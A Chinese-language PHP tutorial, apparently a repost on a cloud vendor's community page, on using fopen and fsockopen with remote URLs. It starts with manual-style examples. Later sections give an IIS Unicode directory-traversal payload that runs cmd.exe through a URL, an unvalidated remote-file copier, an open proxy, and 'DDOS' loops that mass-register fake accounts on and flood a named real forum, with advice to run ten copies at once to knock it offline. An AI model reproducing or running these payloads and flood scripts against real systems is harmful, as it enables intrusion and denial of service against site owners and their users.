在PHP中使用遠程檔案

來源:互聯網
上載者:User
一、 介紹

只要在 php.ini 檔案中啟用了 allow_url_fopen 選項,您可以在大多數需要用檔案名稱作為參數的函數中使用 HTTP 和 FTP URL 來代替檔案名稱。同時,您也可以在 include()、include_once()、require() 及 require_once() 語句中使用 URL。PHP 所支援協議的更多資訊參見 附錄 J。

注: 要在 PHP 4.0.3 及其以後版本中使用 URL,您需要用 --enable-url-fopen-wrapper 參數來配置 PHP。 Windows 版本的 PHP 4.3 版之前不支援以下函數的遠端存取:include(),include_once(),require(),require_once() 以及 參考 XLI, 映像函數庫 擴充庫中的 imagecreatefromXXX 函數。

例如,您可以用以下範例來開啟遠程 WEB 伺服器上的檔案,解析您需要的輸出資料,然後將這些資料用在資料庫的檢索中,或者簡單地將其輸出到您網站剩下內容的樣式匹配中。

例子 x. fopen() 例子

<?php
$handle = fopen ("/home/rasmus/file.txt", "r");
$handle = fopen ("/home/rasmus/file.gif", "wb");
$handle = fopen ("http://www.example.com/", "r");
$handle = fopen ("ftp://user:password@example.com/somefile.txt", "w");
?>

例子 X. 擷取遠程檔案的標題

<?php
$file = fopen ("http://www.example.com/", "r");
if (!$file) {
echo "<p>Unable to open remote file./n";
exit;
}
while (!feof ($file)) {
$line = fgets ($file, 1024);
/* This only works if the title and its tags are on one line */
if (eregi ("<title>(.*)</title>", $line, $out)) {
$title = $out[1];
break;
}
}
fclose($file);
?>

如果您用有合法的存取權限,以一個使用者的身份和某 FTP 伺服器建立了連結,您還可以向該 FTP 伺服器端的檔案進行寫操作。您僅能用該方法來建立新的檔案;如果您嘗試覆蓋已經存在的檔案,fopen() 函數的調用將會失敗。

要以“anonymous”以外的使用者名稱串連伺服器,您需要指明使用者名稱(甚至密碼),例如“ftp://user:password@ftp.example.com/path/to/file”。(如果通過 HTTP 協議訪問遠程檔案時需要基本身份認證,您也可以用使用的文法。)

例子 X. 遠程服務端的資料存放區

<?php
$file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w");
if (!$file) {
echo "<p>Unable to open remote file for writing./n";
exit;
}
/* Write the data here. */
fputs ($file, $_SERVER['HTTP_USER_AGENT'] . "/n");
fclose ($file);
?>

注: 您或許可以從以上範例中得到啟發,用該技術來儲存遠程記錄檔。但是正如以上提到的,在用 fopen() 方式開啟的 URL 中,您僅能對新檔案進行寫操作。如果遠程檔案已經存在 fopen() 函數的操作將會失敗。要進行類似的分布式日誌操作,您可以參考 syslog() 函數。

在下面的內容裡,我將以更多的執行個體描述這種功能的應用。

二、PHP中的POST&GET的應用

要使用PHP的POST&GET,可以運用fsockopen函數:

例子 1. fsockopen() Example

<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
  echo "$errstr ($errno)<br />/n";
} else {
  $out = "GET / HTTP/1.1/r/n";
  $out .= "Host: example.com/r/n";
  $out .= "Connection: Close/r/n/r/n";

  fputs($fp, $out);
  while (!feof($fp)) {
    echo fgets($fp, 128);
  }
  fclose($fp);
}
?> 

例子 2. Using UDP connection

<?php
$fp = fsockopen("udp://127.0.0.1", 13, $errno, $errstr);
if (!$fp) {
  echo "ERROR: $errno - $errstr<br />/n";
} else {
  fwrite($fp, "/n");
  echo fread($fp, 26);
  fclose($fp);
}
?> 

例子 3

<?php

//定義一些串連參數
$urls = array(
'host'=>'localhost',
'port'=>80,
'path'=>'/index.php',
'method'=>'POST',
'protocol'=>'1.0',
);

//POST方法傳遞的參數
$ps = array(
'language'=>'php',
'linux'=>'redhat',
);

//GET方法傳遞的參數
$gs = array(
'php'=>5,
'redhat'=>9
);

/**
返回:得到POST或GET方法後返回的字串(string)
參數:
  $usls : string
  $ps : array
  $gs : array
調用方法:
  getData($urls,$ps,'') //使用POST方法
  getData($urls,'',$gs) //使用GET方法
參考資料:http://cn.php.net/manual/en/function.fsockopen.php
*/
function getData($urls,$ps='',$gs=''){
  $host = $urls['host'];
  $port = $urls['port'];
  $path = $urls['path'];
  $method = $urls['method'];
  $protocol = $urls['protocol'];
  $posts = '';
  $gets = '';

  if(is_array($ps)){
    foreach($ps as $k => $v){
      $posts .= urlencode($k)."=".urlencode($v).'&';
    }
    $posts = substr($posts,0,-1);
    $len = strlen($posts);
  }
  if(is_array($gs)){
    foreach($gs as $k => $v){
      $gets .= urlencode($k)."=".urlencode($v).'&';
    }
    $gets = substr($gets,0,-1);
  }

  $fp = fsockopen($host, $port,$errno,$errstr,3);
  if(!$fp){
    echo "can't connect.../r/n<br>Error:$errstr";
    return ;
  }
  fputs($fp, "$method $path?$gets HTTP/$protocol/r/n");
  fputs($fp, "Host: localhost/r/n");
  if($posts != ''){
    fputs($fp, "Content-type: application/x-www-form-urlencoded/r/n");
    fputs($fp, "Content-Length: $len/r/n");
    fputs($fp, "/r/n");
    fputs($fp, $posts);
  }
  fputs($fp, "Connection: Close/r/n/r/n");
  $s = '';
  do{
   $data = fgets($fp,1024);
   if($data == '') {
     break;
   }
   $s .= $data;
  } while(true);
  fclose($fp);
  return $s;
}

//這裡是使用POST方法取得目標網頁返回的字串
echo getData($urls,$ps,'');

//如果要使用GET方法就用如下方式:
echo getData($urls,'',$gs);
?> 

三、UNICODE漏洞攻擊

代碼:
<?php
$fp=@fopen($url,"r") or die ("cannot open $url");
while($line=@fgets($fp,1024)) {
$contents.=$line;
}
echo $contents; //顯示檔案內容
fclose($fp); //關閉檔案
?>

使用:

/XXXX.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir

四、WEB間檔案轉移:

該例子的代碼引自PHP FLAME:

<?php
$fp = fopen($_GET['filename'], 'rb');
$data = $tmp = '';
while ( true ) {
$tmp = fgets($fp, 1024);
if ( 0 === strlen($tmp) ) {
break;
}
$data .= $tmp;
}
fclose($fp);
$file=preg_replace("/^.+///","",$filename);
//write
$fp = fopen("$file", 'wb');
fwrite($fp, $data);
fclose($fp);
?>

五、HTTP代理(http://jsw.china12e.com/600/)

代碼引自PHP FLAME:

<?
$url = getenv("QUERY_STRING");
if(!ereg("^http",$url))
{
echo "example:<br>xxx.php?http://jsw.china12e.com/<;br>";
exit;
}
if($url)
$url=str_replace("//","/",$url);
$f=@fopen($url,"r");
$a="";
if($f)
{
while(!feof($f))
$a.=@fread($f,8000);
fclose($f);
}
$rooturl = preg_replace("/(.+//)(.*)/i","//1",$url);
$a = preg_replace("/(src[[:space:]]*=['/"])([^h].*?)/is","//1$rooturl//2",$a);
$a = preg_replace("/(src[[:space:]]*=)([^h'/"].*?)/is","//1$rooturl//2",$a);
$a = preg_replace("/(action[[:space:]]*=['/"])([^h].*?)/is","//1$php_self?$rooturl//2",$a);
$a = preg_replace("/(action[[:space:]]*=)([^h'/"].*?)/is","//1$php_self?$rooturl//2",$a);
$a = preg_replace("/(<a.+?href[[:space:]]*=['/"])([^h].*?)/is","//1$php_self?$rooturl//2",$a);
$a = preg_replace("/(<a.+?href[[:space:]]*=[^'/"])([^h].*?)/is","//1$php_self?$rooturl//2",$a);
$a = preg_replace("/(link.+?href[[:space:]]*=[^'/"])(.*?)/is","//1$rooturl//2",$a);
$a = preg_replace("/(link.+?href[[:space:]]*=['/"])(.*?)/is","//1$rooturl//2",$a);
echo $a;
?>

六:不可阻擋DDOS攻擊
DDOS的一個例子
<?php
$url="http://bbs.icehack.com/register.php?step=2&addpassword=aaaaaa&addpassword2=aaaaaa&addemail=asdfasd@dfsadsf.com&addusername=";
for($i=1131;$i<=1150;$i++)
{
$urls=$url.$i;
$f=@fopen($urls,"r");
$a=@fread($f,10);
fclose($f);
}
?>

運行後論壇將新增20個使用者
(例子:http://bbs.icehack.com/userlist.php?page=827)

當把它用在論壇的搜尋中時
DDOS攻擊就實現了

以下的代碼攻擊INDEX.PHP檔案,同時運行十個進程時,可能時論壇關閉
<?php
$url="http://bbs.icehack.com/index.php?addusername=";
for($i=1131;$i<=1180;$i++)
{
$urls=$url.$i;
$f=@fopen($urls,"r");
$a=@fread($f,10);
fclose($f);
}
?>

七、SQL INJECTION攻擊,搜尋引擎。。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.